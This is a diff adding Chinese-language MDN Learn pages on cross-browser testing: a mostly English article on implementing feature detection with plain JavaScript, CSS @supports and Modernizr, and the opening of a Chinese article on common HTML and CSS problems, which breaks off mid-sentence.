class="summary">特性检测包括计算浏览器是否支持一个特定块中的代码,基于是否可以运行来运行不同的代码,以使所有的浏览器都可以正常工作,而不是在某些浏览器中崩溃或出错。本文列举了如何写出一个你自己的简单的特性检测,如何使用库来加速实现,以及对于特性间的的原生特性,如 <code>@supports</code> 。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td>Familiarity with the core <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, and <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> languages; an idea of the high-level <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">principles of cross-browser testing</a>.</td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td>To understand what the concept of feature detection is, and be able to implement suitable solutions in CSS and JavaScript.</td> + </tr> + </tbody> +</table> + +<h2 id="特性检测的概念">特性检测的概念</h2> + +<p>功能检测的思想是,您可以运行一个测试来确定当前浏览器是否支持某个特性,然后有条件地运行代码,以便在支持该功能的浏览器和不支持该功能的浏览器中提供可接受的体验,如果不这样做,在不支持您在代码中使用的功能的浏览器中将无法正确地显示您的网站,从而产生糟糕的用户体验。</p> + +<p>Let's recap and look at the example we touched on in our <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Feature_detection">Handling common JavaScript problems</a> — the <a href="/en-US/docs/Web/API/Geolocation/Using_geolocation">Geolocation API</a> (which exposes available location data for the device the web browser is running on) has the main entry point for its use, a <code>geolocation</code> property available on the global <a href="/en-US/docs/Web/API/Navigator">Navigator</a> object. Therefore, you can detect whether the browser supports geolocation or not by using something like the following:</p> + +<pre class="language-js notranslate">if ("geolocation" in navigator) { + navigator.geolocation.getCurrentPosition(function(position) { + // show the location on a map, perhaps using the Google Maps API + }); +} else { + // Give the user a choice of static maps instead perhaps +}</pre> + +<p>It is probably better to use an established feature detection library however, rather than writing your own all the time. Modernizr is the industry standard for feature detection tests, and we'll look at that later on.</p> + +<p>Before we move on, we'd like to say one thing upfront — don't confuse feature detection with <strong>browser sniffing</strong> (detecting what specific browser is accessing the site) — this is a terrible practice that should be discouraged at all costs. See <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Using_bad_browser_sniffing_code">Using bad browser sniffing code</a> for more details.</p> + +<h2 id="Writing_your_own_feature_detection_tests">Writing your own feature detection tests</h2> + +<p>In this section, we'll look at implementing your own feature detection tests, in both CSS and JavaScript.</p> + +<h3 id="CSS">CSS</h3> + +<p>You can write tests for CSS features by testing for the existence of <em><a href="/en-US/docs/Web/API/HTMLElement/style">element.style.property</a></em> (e.g. <code>paragraph.style.transform</code>) in JavaScript.</p> + +<p>A classic example might be to test for <a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a> support in a browser; for browsers that support the newest Flexbox spec, we could use a flexible and robust flex layout. For browsers that don't, we could use a floated layout that works OK, although it is slightly more brittle and hacky, and not as cool-looking.</p> + +<p>Let's implement something that demonstrates this, although we'll keep it simple for now.</p> + +<ol> + <li>Start by making local copies of our <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/css-feature-detect.html">css-feature-detect.html</a></code>, <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/flex-layout.css">flex-layout.css</a></code>, <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/float-layout.css">float-layout.css</a></code>, and <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/basic-styling.css">basic-styling.css</a></code> files. Save them in a new directory.</li> + <li>We will add the HTML5 Shiv to our example too so that the HTML5 semantic elements will style properly in older versions of IE. Download the latest version (see <a href="https://github.com/aFarkas/html5shiv#manual-installation">Manual installation</a>), unzip the ZIP file, copy the <code>html5shiv-printshiv.min.js</code> and <code>html5shiv.min.js</code> files into your example directory, and link to one of the files by putting the following under your {{htmlelement("title")}} element: + <pre class="notranslate"><script src="html5shiv.min.js"></script></pre> + </li> + <li>Have a look at your example CSS files — you'll see that <code>basic-styling.css</code> handles all the styling that we want to give to every browser, whereas the other two CSS files contain the CSS we want to selectively apply to browser depending on their support levels. You can look at the different effects these two files have by manually changing the CSS file referred to by the second {{htmlelement("link")}} element, but let's instead implement some JavaScript to automatically swap them as needed.</li> + <li>First, remove the contents of the second <code><link></code> element's <code>href</code> attribute. We will fill this in dynamically later on.</li> + <li>Next, add a <code><script></script></code> element at the bottom of your body (just before the closing <code></body></code> tag).</li> + <li>Give it the following contents: + <pre class="brush: js notranslate">const conditional = document.querySelector('.conditional'); +const testElem = document.createElement('div'); +if (testElem.style.flex !== undefined && testElem.style.flexFlow !== undefined) { + conditional.setAttribute('href', 'flex-layout.css'); +} else { + conditional.setAttribute('href', 'float-layout.css'); +}</pre> + </li> +</ol> + +<p>Here we are grabbing a reference to the second <code><link></code> element, and creating a <code><div></code> element as part of our test. In our conditional statement, we test that the {{cssxref("flex")}} and {{cssxref("flex-flow")}} properties exist in the browser. Note how the JavaScript representations of those properties that are stored inside the {{domxref("HTMLElement.style")}} object use lower camel case, not hyphens, to separate the words.</p> + +<div class="note"> +<p><strong>Note</strong>: If you have trouble getting this to work, you can compare it to our <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/css-feature-detect-finished.html">css-feature-detect-finished.html</a> code (see also the <a href="http://mdn.github.io/learning-area/tools-testing/cross-browser-testing/feature-detection/css-feature-detect-finished.html">live version</a>).</p> +</div> + +<p>When you save everything and try out your example, you should see the flexbox layout applied to the page if the browser supports modern flexbox, and the float layout if not.</p> + +<div class="note"> +<p><strong>Note</strong>: Often such an approach is overkill for a minor feature detection problem — you can often get away with using multiple vendor prefixes and fallback properties, as described in <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#CSS_fallback_behaviour">CSS fallback behavior</a> and <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Handling_CSS_prefixes">Handling CSS prefixes</a>.</p> +</div> + +<h4 id="supports">@supports</h4> + +<p>In recent times, CSS has had its own native feature detection mechanism introduced — the {{cssxref("@supports")}} at-rule. This works in a similar manner to <a href="/en-US/docs/Web/CSS/Media_Queries">media queries</a> (see also <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Responsive_design_problems">Responsive design problems</a>) — except that instead of selectively applying CSS depending on a media feature like a resolution, screen width or aspect ratio, it selectively applies CSS depending on whether a CSS feature is supported.</p> + +<p>For example, we could rewrite our previous example to use <code>@supports</code> — see <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/supports-feature-detect.html">supports-feature-detect.html</a></code> and <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/supports-styling.css">supports-styling.css</a></code>. If you look at the latter, you'll see a couple of <code>@supports</code> blocks, for example:</p> + +<pre class="brush: css notranslate">@supports (flex-flow: row) and (flex: 1) { + + main { + display: flex; + } + + main div { + padding-right: 4%; + flex: 1; + } + + main div:last-child { + padding-right: 0; + } + +}</pre> + +<p>This at-rule block applies the CSS rule within only if the current browser supports both the <code>flex-flow: row</code> and <code>flex: 1</code> declarations. For each condition to work, you need to include a complete declaration (not just a property name) and NOT include the semi-colon on the end.</p> + +<p><code>@supports</code> also has <code>OR</code> and <code>NOT</code> logic available — the other block applies the float layout if the flexbox properties are not available:</p> + +<pre class="brush: css notranslate">@supports not (flex-flow: row) and (flex: 1) { + + /* rules in here */ + +}</pre> + +<p>This may look a lot more convenient than the previous example — we can do all of our feature detection in CSS, no JavaScript required, and we can handle all the logic in a single CSS file, cutting down on HTTP requests. the problem here is browser support — <code>@supports</code> is not supported at all in IE, and only supported in very recent versions of Safari/iOS WebKit (9+/9.2+), whereas the JavaScript version should work in much older browsers (probably back to IE8 or 9, although older versions of IE will have additional problems, such as not supporting {{domxref("Document.querySelector")}}, and having a messed up box model).</p> + +<h3 id="JavaScript">JavaScript</h3> + +<p>We already saw an example of a JavaScript feature detection test earlier on. Generally, such tests are done via one of the following common patterns:</p> + +<table class="standard-table"> + <caption>Summary of JavaScript feature detection techniques</caption> + <thead> + <tr> + <th scope="col">Feature detection type</th> + <th scope="col">Explanation</th> + <th scope="col">Example</th> + </tr> + </thead> + <tbody> + <tr> + <td><em>If member in object</em></td> + <td>Check whether a certain method or property (typically an entry point into using the API or other feature you are detecting for) exists in its parent Object.</td> + <td> + <p><code>if("geolocation" in navigator) { ... }</code></p> + </td> + </tr> + <tr> + <td><em>Property on element</em></td> + <td>Create an element in memory using {{domxref("Document.createElement()")}} and then check if a property exists on it. The example shown is a way of detecting <a href="/en-US/docs/Web/API/Canvas_API">HTML5 Canvas</a> support.</td> + <td><code>function supports_canvas() {<br> + return !!document.createElement('canvas').getContext;<br> + }<br> + <br> + if(supports_canvas()) { ... }</code></td> + </tr> + <tr> + <td><em>Method on element return value</em></td> + <td>Create an element in memory using {{domxref("Document.createElement()")}} and then check if a method exists on it. If it does, check what value it returns.</td> + <td>See <a href="http://diveinto.html5doctor.com/detect.html#video-formats">Dive Into HTML5 Video Formats detection</a> test.</td> + </tr> + <tr> + <td><em>Property on element retains value</em></td> + <td>Create an element in memory using {{domxref("Document.createElement()")}}, set a property to a certain value, then check to see if the value is retained.</td> + <td>See <a href="http://diveinto.html5doctor.com/detect.html#input-types">Dive into HTML5 <code><input></code> types detection</a> test.</td> + </tr> + </tbody> +</table> + +<div class="note"> +<p><strong>Note</strong>: The double <code>NOT</code> in the above example (<code>!!</code>) is a way to force a return value to become a "proper" boolean value, rather than a {{glossary("Truthy")}}/{{glossary("Falsy")}} value that may skew the results.</p> +</div> + +<p>The <a href="http://diveinto.html5doctor.com/detect.html">Dive into HTML5 Detecting HTML5 Features</a> page has a lot more useful feature detection tests besides the ones listed above, and you can generally find a feature detection test for most things by searching for "detect support for YOUR-FEATURE-HERE" in your favorite search engine. Bear in mind though that some features, however, are known to be undetectable — see Modernizr's list of <a href="https://github.com/Modernizr/Modernizr/wiki/Undetectables">Undetectables</a>.</p> + +<h4 id="matchMedia">matchMedia</h4> + +<p>We also wanted to mention the {{domxref("Window.matchMedia")}} JavaScript feature at this point too. This is a property that allows you to run media query tests inside JavaScript. It looks like this:</p> + +<pre class="brush: js notranslate">if (window.matchMedia("(max-width: 480px)").matches) { + // run JavaScript in here. +}</pre> + +<p>As an example, our <a href="https://github.com/chrisdavidmills/snapshot">Snapshot</a> demo makes use of it to selectively apply the Brick JavaScript library and use it to handle the UI layout, but only for the small screen layout (480px wide or less). We first use the <code>media</code> attribute to only apply the Brick CSS to the page if the page width is 480px or less:</p> + +<pre class="brush: css notranslate"><link href="dist/brick.css" type="text/css" rel="stylesheet" media="all and (max-width: 480px)"></pre> + +<p>We then use <code>matchMedia()</code> in the JavaScript several times, to only run Brick navigation functions if we are on the small screen layout (in wider screen layouts, everything can be seen at once, so we don't need to navigate between different views).</p> + +<pre class="brush: js notranslate">if (window.matchMedia("(max-width: 480px)").matches) { + deck.shuffleTo(1); +}</pre> + +<h2 id="Using_Modernizr_to_implement_feature_detection">Using Modernizr to implement feature detection</h2> + +<p>It is possible to implement your own feature detection tests using techniques like the ones detailed above. You might as well use a dedicated feature detection library however, as it makes things much easier. The mother of all feature detection libraries is <a href="https://modernizr.com/">Modernizr</a>, and it can detect just about everything you'll ever need. Let's look at how to use it now.</p> + +<p>When you are experimenting with Modernizr you might as well use the development build, which includes every possible feature detection test. Download this now by:</p> + +<ol> + <li>Clicking on the <a href="https://modernizr.com/download?do_not_use_in_production">Development build</a> link.</li> + <li>Clicking the big pink <em>Build</em> button on the page that comes up.</li> + <li>Clicking the top <em>Download</em> link in the dialog box that appears.</li> +</ol> + +<p>Save it somewhere sensible, like the directory you've been creating your other examples for in this article.</p> + +<p>When you are using Modernizr in production, you can go to the <a href="https://modernizr.com/download">Download page</a> you've already visited and click the plus buttons for only the features you need feature detects for. Then when you click the <em>Build</em> button, you'll download a custom build containing only those feature detects, making for a much smaller file size.</p> + +<h3 id="CSS_2">CSS</h3> + +<p>Let's have a look at how Modernizr works in terms of selectively applying CSS.</p> + +<ol> + <li>First, make a copy of <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/supports-feature-detect.html">supports-feature-detect.html</a></code> and <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/supports-styling.css">supports-styling.css</a></code>. Save them as <code>modernizr-css.html</code> and <code>modernizr-css.css</code>.</li> + <li>Update your {{htmlelement("link")}} element in your HTML so it points to the correct CSS file (you should also update your {{htmlelement("title")}} element to something more suitable!): + <pre class="brush: html notranslate"><link href="modernizr-css.css" rel="stylesheet"></pre> + </li> + <li>Above this <code><link></code> element, add a {{htmlelement("script")}} element to apply the Modernizr library to the page, as shown below. This needs to be applied to the page before any CSS (or JavaScript) that might make use of it. + <pre class="brush: html notranslate"><script src="modernizr-custom.js"></script></pre> + </li> + <li>Now edit your opening <code><html></code> tag, so that it looks like this: + <pre class="brush: html notranslate"><html class="no-js"></pre> + </li> +</ol> + +<p>At this point, try loading your page, and you'll get an idea of how Modernizr works for CSS features. If you look at the DOM inspector of your browser's developer tools, you'll see that Modernizr has updated your <code><html></code> <code>class</code> value like so:</p> + +<pre class="notranslate"><html class="js no-htmlimports sizes flash transferables applicationcache blobconstructor +blob-constructor cookies cors ...AND LOADS MORE VALUES!></pre> + +<p>It now contains a large number of classes that indicate the support status of different technology features. As an example, if the browser didn't support flexbox at all, <code><html></code> would be given a class name of <code>no-flexbox</code>. If it did support modern flexbox, it would get a class name of <code>flexbox</code>. If you search through the class list, you'll also see others relating to flexbox, like:</p> + +<ul> + <li><code>flexboxlegacy</code> for the old flexbox spec (2009).</li> + <li><code>flexboxtweener</code> for 2011 in between syntax supported by IE10.</li> + <li><code>flexwrap</code> for the {{cssxref("flex-wrap")}} property, which isn't present in some implementations.</li> +</ul> + +<div class="note"> +<p><strong>Note</strong>: You can find a list of what all the class names mean — see <a href="https://modernizr.com/docs#features">Features detected by Modernizr</a>.</p> +</div> + +<p>Moving on, let's update our CSS to use Modernizr rather than <code>@supports</code>. Go into <code>modernizr-css.css</code>, and replace the two <code>@supports</code> blocks with the following:</p> + +<pre class="brush: css notranslate">/* Properties for browsers with modern flexbox */ + +.flexbox main { + display: flex; +} + +.flexbox main div { + padding-right: 4%; + flex: 1; +} + +.flexbox main div:last-child { + padding-right: 0; +} + +/* Fallbacks for browsers that don't support modern flexbox */ + +.no-flexbox main div { + width: 22%; + float: left; + padding-right: 4%; +} + +.no-flexbox main div:last-child { + padding-right: 0; +} + +.no-flexbox footer { + clear: left; +}</pre> + +<p>So how does this work? Because all those class names have been put on the <code><html></code> element, you can target browsers that do or don't support a feature using specific descendant selectors. So here we're applying the top set of rules only to browsers that do support flexbox, and the bottom set of rules only to browsers that don't (<code>no-flexbox</code>).</p> + +<div class="note"> +<p><strong>Note</strong>: Bear in mind that all of Modernizr's HTML and JavaScript feature tests are also reported in these class names, so you can quite happily apply CSS selectively based on whether the browser supports HTML or JavaScript features, if needed.</p> +</div> + +<div class="note"> +<p><strong>Note</strong>: If you have trouble getting this to work, check your code against our <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/modernizr-css.html">modernizr-css.html</a></code> and <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/modernizr-css.css">modernizr-css.css</a></code> files (see this running live also).</p> +</div> + +<h3 id="JavaScript_2">JavaScript</h3> + +<p>Modernizr is also equally well-prepared for implementing JavaScript feature detects too. It does this by making the global <code>Modernizr</code> object available to the page it is applied to, which contains results of the feature detects as <code>true</code>/<code>false</code> properties.</p> + +<p>For example, load up our <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/modernizr-css.html">modernizr-css.html</a></code> example in your browser, then try going to your JavaScript console and typing in <code>Modernizr.</code> followed by some of those class names (they are the same here too). For example:</p> + +<pre class="notranslate">Modernizr.flexbox +Modernizr.websqldatabase +Modernizr.xhr2 +Modernizr.fetch</pre> + +<p>The console will return <code>true</code>/<code>false</code> values to indicate whether your browser supports those features or not.</p> + +<p>Let's look at an example to show how you'd use those properties.</p> + +<ol> + <li>First of all, make a local copy of the <code><a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/feature-detection/modernizr-js.html">modernizr-js.html</a></code> example file.</li> + <li>Attach the Modernizr library to the HTML using a <code><script></code> element, as we have done in previous demos. Put it above the existing <code><script></code> element, which is attaching the Google Maps API to the page.</li> + <li>Next, fill in the <code>YOUR-API-KEY</code> placeholder text in the second <code><script></code> element (as it is now) with a valid Google Maps API key. To get a key, sign in to a Google account, go to the <a href="https://developers.google.com/maps/documentation/javascript/get-api-key">Get a Key/Authentication</a> page, then click the blue <em>Get a Key</em> button and follow the instructions.</li> + <li>Finally, add another <code><script></code> element at the bottom of the HTML body (just before the <code></body></code> tag), and put the following script inside the tags: + <pre class="brush: js notranslate">if (Modernizr.geolocation) { + + navigator.geolocation.getCurrentPosition(function(position) { + + let latlng = new google.maps.LatLng(position.coords.latitude,position.coords.longitude); + let myOptions = { + zoom: 8, + center: latlng, + mapTypeId: google.maps.MapTypeId.TERRAIN, + disableDefaultUI: true + } + let map = new google.maps.Map(document.getElementById("map_canvas"), myOptions); + }); + +} else { + const para = document.createElement('p'); + para.textContent = 'Argh, no geolocation!'; + document.body.appendChild(para); +}</pre> + </li> +</ol> + +<p>Try your example out! Here we use the <code>Modernizr.geolocation</code> test to check whether geolocation is supported by the current browser. If it is, we run some code that gets your device's current location, and plots it on a Google Map.</p> + +<h2 id="Summary">Summary</h2> + +<p>This article covered feature detection in a reasonable amount of detail, going through the main concepts and showing you how to both implement your own feature detection tests and use the Modernizr library to implement tests more easily.</p> + +<p>Next up, we'll start looking at automated testing.</p> + +<p>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Accessibility","Learn/Tools_and_testing/Cross_browser_testing/Automated_testing", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">Introduction to cross browser testing</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">Strategies for carrying out testing</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">Handling common HTML and CSS problems</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">Handling common JavaScript problems</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">Handling common accessibility problems</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">Implementing feature detection</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">Introduction to automated testing</a></li> + <li><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">Setting up your own test automation environment</a></li> +</ul> diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html new file mode 100644 index 0000000000..0e2cd596de --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/html_and_css/index.html @@ -0,0 +1,496 @@ +--- +title: 处理常见的 HTML 和 CSS 问题 +slug: Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS +tags: + - CSS + - HTML + - 兼容 + - 学习 + - 文章 + - 测试 +translation_of: Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS +--- +<p>{{LearnSidebar}}</p> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies","Learn/Tools_and_testing/Cross_browser_testing/JavaScript", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> + +<p>通过之前的准备,我们现在将专门研究在 HTML 和 CSS 代码中遇到的常见跨浏览器问题,以及哪些工具可以用来防止问题的发生,或者解决出现的问题。这包括静态分析代码,处理CSS前缀,使用浏览器开发工具来跟踪问题,使用polyfills添加到浏览器的支持,解决响应的设计问题,等等。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td> + <p>熟悉核心的 <a href="/zh-CN/docs/Learn/HTML">HTML</a>,<a href="/zh-CN/docs/Learn/CSS">CSS</a> 和 <a href="/zh-CN/docs/Learn/JavaScript">JavaScript</a> 语言;了解<a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">跨浏览器测试</a>中涉及的高级概念。</p> + </td> + </tr> + <tr> + <th scope="row">本文目标:</th> + <td>为了能够诊断常见的HTML和CSS跨浏览器问题,并使用适当的工具和技术来解决它们</td> + </tr> + </tbody> +</table> + +<h2 id="HTML_和_CSS_的问题">HTML 和 CSS 的问题</h2> + +<p>实际上,HTML 和 CSS 的问题在于,它们相当简单,简单到开发人员通常不会认真对待它们,因此难以确保代码简洁、高效,或是能在语义上描述页面各部分的功能。在最坏的情况下,一些网站甚至选择使用 JavaScript 来生成整个网页的内容和样式,这使得页面的可读性较差,并且性能低下(对性能而言,生成大量 DOM 元素的操作是较为昂贵的)。</p> + +<div class="standardNoteBlock"> +<p><strong>译者注:</strong>关于使用 JavaScript 生成网页的选择,抛开一切非决定性的因素,最终的关键还是我们开发者。<br> + 非决定性因素,比如页面本身,举个例子,如果页面是由大量的重复或有规律片段组成,使用适当、理想的 JavaScript 来生成这样的页面会是不错的选择。</p> + +<p>但是,如果我们的决定性因素,开发者,不了解或不重视有关的问题,甚至盲目地崇拜一些基于 JavaScript 的前端页面生成方案,可能一切都是白搭。<br> + 反过来,如果开发者深谙简化、语义和性能等的意义与价值,对不同的方案有全面的了解,即使使用 JavaScript 在前端生成网页,最终也可以产生各方面表现良好的页面。虽然,多数情况下,这样的开发者往往会保留页面的基本框架,不由 JS 生成。</p> +</div> + +<p>在其他情况中,不同浏览器对新特性的支持不同,也可能会使某些功能和样式对某些用户不起作用。除此之外,响应式设计问题也很常见——在桌面浏览器中看起来不错的网站可能会在移动设备上给出可怕的体验,因为内容太小而无法阅读,或者性能被代价昂贵的动画严重拖累。</p> + +<p>让我们前进吧,看看我们如何能够减少 HTML / CSS 中的跨浏览器错误。</p> + +<h2 id="首先:解决一般问题">首先:解决一般问题</h2> + +<p>我们在本系列的<a href="/zh-CN/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction#Testingdiscovery">第一篇文章</a>中说过,一个好的策略是在桌面/移动设备上测试几个现代的浏览器,以确保您的代码正常工作,然后才能专注于跨浏览器问题。</p> + +<p>在我们的<a href="/zh-CN/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">调试 HTML</a> 和<a href="/zh-CN/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS">调试 CSS</a> 两篇文章中,我们也提供了一些关于调试 HTML/CSS 的基本指导——如果您不熟悉基础知识,那么在继续之前,您得学习这些文章。</p> + +<p>基本上,这是一个如何检查您的 HTML 和 CSS 代码,是否格式正确、不包含任何语法错误的问题。</p> + +<div class="blockIndicator note"> +<p>注意:CSS 和 HTML 之间的一个常见问题,就是不同的 CSS 规则之间发生冲突。当您使用第三方代码时,问题可能大到难以修补。例如,你可能正用着一个 CSS 框架,并发现它使用的一个类名与你已经用于某处的类名冲突。或者,您可能会发现,由某种第三方 API(例如生成广告横幅的脚本)生成的 HTML 包含您已经用于别处的类名称或者 ID。<br> + 为了确保不会发生这种情况,您需要首先研究一下您正在使用的工具,了解它们可能使用的类名与 ID,并围绕,或者规避着它们来设计您的代码。设法为 CSS 加上“命名空间”也是值得的,例如,如果有一个小部件,就先确保它有一个独特的类,然后基于这个类来选择元件内的这个类的选择器,这样一来,冲突的可能性就小下来了。例如 .audio-player ul a。</p> +</div> + +<h3 id="验证">验证</h3> + +<p>对于 HTML,要确保所有的标签都被正确地关闭和嵌套,写好 DOCTYPE,而且正确地使用各种标签。一个好的策略是定期验证你的代码。一个可以做到这一点的<a href="https://validator.w3.org/">服务</a>是 W3C<a href="https://validator.w3.org/"> 标记验证服务</a>,提供您的代码,它就能返回错误列表:<img alt="The HTML validator homepage" src="https://mdn.mozillademos.org/files/12441/validator.png"></p> + +<p>CSS 有一个类似的路线——你需要检查你的属性名拼写是否正确,属性值拼写正确,并且对于它们使用的属性是有效的,你不会丢失任何大括号,等等。为了这个目的,W3C也有一个 <a href="http://jigsaw.w3.org/css-validator/">CSS 验证器</a>。</p> + +<h3 id="Linter">Linter</h3> + +<p>另一个很好的选择就是所谓的 Linter 程序,它不仅可以指出错误,还可以标记关于 CSS 中不良做法的警告,以及其他一些要点。大家可以定制 Linter,以得到更严格或者更宽松的错误/警告报告。</p> + +<p>有许多在线 Linter 程序,其中最好的可能是“脏标记”<a href="https://www.dirtymarkup.com/">Dirty Markup</a>(HTML,CSS,JavaScript)和 <a href="http://csslint.net/">CSS Lint</a>(仅限CSS)。它们可以让你把代码粘贴到一个窗口中,并且会用十字标记任何错误,然后可以将它们悬停,以获得错误信息,通知你问题是什么。肮脏的标记还允许您使用清理按钮修复您的标记。</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14113/dirty-markup.png" style="border-style: solid; border-width: 1px; display: block; height: 203px; margin: 0px auto; width: 1204px;"></p> + +<p>但是,将代码复制并粘贴到网页上以检查其有效性是不太方便的。你真正想要的 Linter 可以和你的工作流更加契合,减免一切窗口切换等麻烦。</p> + +<p>许多代码编辑器都有 linter 插件。Github 的<a href="https://atom.io/"> Atom</a> 代码编辑器例如有一个丰富的插件生态系统可用,有很多 linting 选项。向您展示一个这样的插件通常如何工作的例子:</p> + +<ol> + <li>安装 Atom(如果您还没有安装最新版本),请从上面链接的 Atom 页面下载。</li> + <li>转到 Atom 的<em>首选项...</em>对话框(例如在 Mac 上选择 <em>Atom > Preferences...</em> 或在 Windows / Linux 上选择 <em>File > Preferences...</em>),然后在左侧菜单中选择Install选项。</li> + <li>在搜索包文本字段中,输入“lint”,然后按 Enter / 回车键搜索与 lint 相关的包。</li> + <li>您应该在列表顶部看到一个名为 lint 的包。首先安装它(使用安装按钮),因为其他短裤依靠它工作。之后,安装用于linting CSS 的 linter-csslint 插件,和用于 lint HTML 的linter-tidy 插件。</li> + <li>软件包完成安装后,尝试加载一个 HTML 文件和一个 CSS 文件:在行号旁边会看到用绿色(警告)和红色(错误)圆圈,突出显示任何存在的问题,底部则提供行号、错误消息,有时有建议的值或者其他修复。</li> +</ol> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14109/atom-htmltidy.png" style="display: block; margin: 0 auto;"><img alt="" src="https://mdn.mozillademos.org/files/14107/atom-csslint.png" style="display: block; height: 516px; margin: 0px auto; width: 700px;"></p> + +<p>其他受欢迎的编辑器也有类似的 linting 包可用。例如:</p> + +<ul> + <li><a href="www.sublimelinter.com/">SublimeLinter</a> for Sublime Text</li> + <li><a href="https://sourceforge.net/projects/notepad-linter/">Notepad++ linter</a></li> + <li><a href="https://marketplace.visualstudio.com/search?target=vscode&category=Linters&sortBy=Installs">VSCode linter</a></li> +</ul> + +<h3 id="浏览器开发者工具">浏览器开发者工具</h3> + +<p>大多数浏览器中内置的开发人员工具还提供了有用的工具来查找错误,主要是针对CSS 的。</p> + +<div class="note"> +<p><strong>注意</strong>:在开发工具中,HTML 错误不会直接显示,因为浏览器会尝试自动纠正错误形成的标记;目前,W3C 验证器是获取 HTML 错误的最佳方法——请参阅上面的<a href="https://developer.mozilla.org/zh-CN/docs/preview-wiki-content#Validation">验证</a>。</p> +</div> + +<p>例如,在 Firefox 中,CSS 检查器将显示未应用的 CSS 声明,并带有警告三角形。悬停警告三角将提供一个描述性的错误信息:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14111/css-message-devtools.png" style="display: block; height: 311px; margin: 0px auto; width: 451px;"></p> + +<p>其他浏览器的开发者工具有相似的功能。</p> + +<h2 id="常见的跨浏览器问题">常见的跨浏览器问题</h2> + +<p>现在让我们继续看看一些最常见的跨浏览器 HTML 和 CSS 问题。这里,我们重点先看的方面是一些浏览器缺乏对现代功能和布局的支持所造成的问题。</p> + +<h3 id="旧版浏览器不支持新特性">旧版浏览器不支持新特性</h3> + +<p>这是一个常见的问题,尤其是当您需要支持旧的浏览器(例如旧的IE版本),或者您正在使用使用CSS前缀实现的功能时。通常,大多数核心HTML和CSS功能(如基本的HTML元素,CSS基本颜色和文本样式)在大多数浏览器中都可以使用,当您开始想要使用 <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a>,<a href="/zh-CN/docs/Web/Apps/Fundamentals/Audio_and_video_delivery">HTML5 视频/音频</a>,甚至更新的 <a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/CSS_layout/Grids#Native_CSS_Grids_with_Grid_Layout">CSS Grid</a> 或 <code><a href="/zh-CN/docs/Learn/CSS/Styling_boxes/Advanced_box_effects#-webkit-background-clip_text">-webkit-background-clip:text</a></code> 等新功能时,会发现更多的问题。</p> + +<p>一旦您确定了您将要使用的潜在问题技术列表,研究它们所支持的浏览器以及相关技术是否有用是一个不错的主意。请参阅下面的<a href="https://developer.mozilla.org/zh-CN/docs/preview-wiki-content#Finding_help">查找帮助</a>。</p> + +<h4 id="HTML_回退行为">HTML 回退行为</h4> + +<p>一些问题可以通过利用 HTML / CSS 的自然工作方式来解决。</p> + +<p>无法识别的 HTML 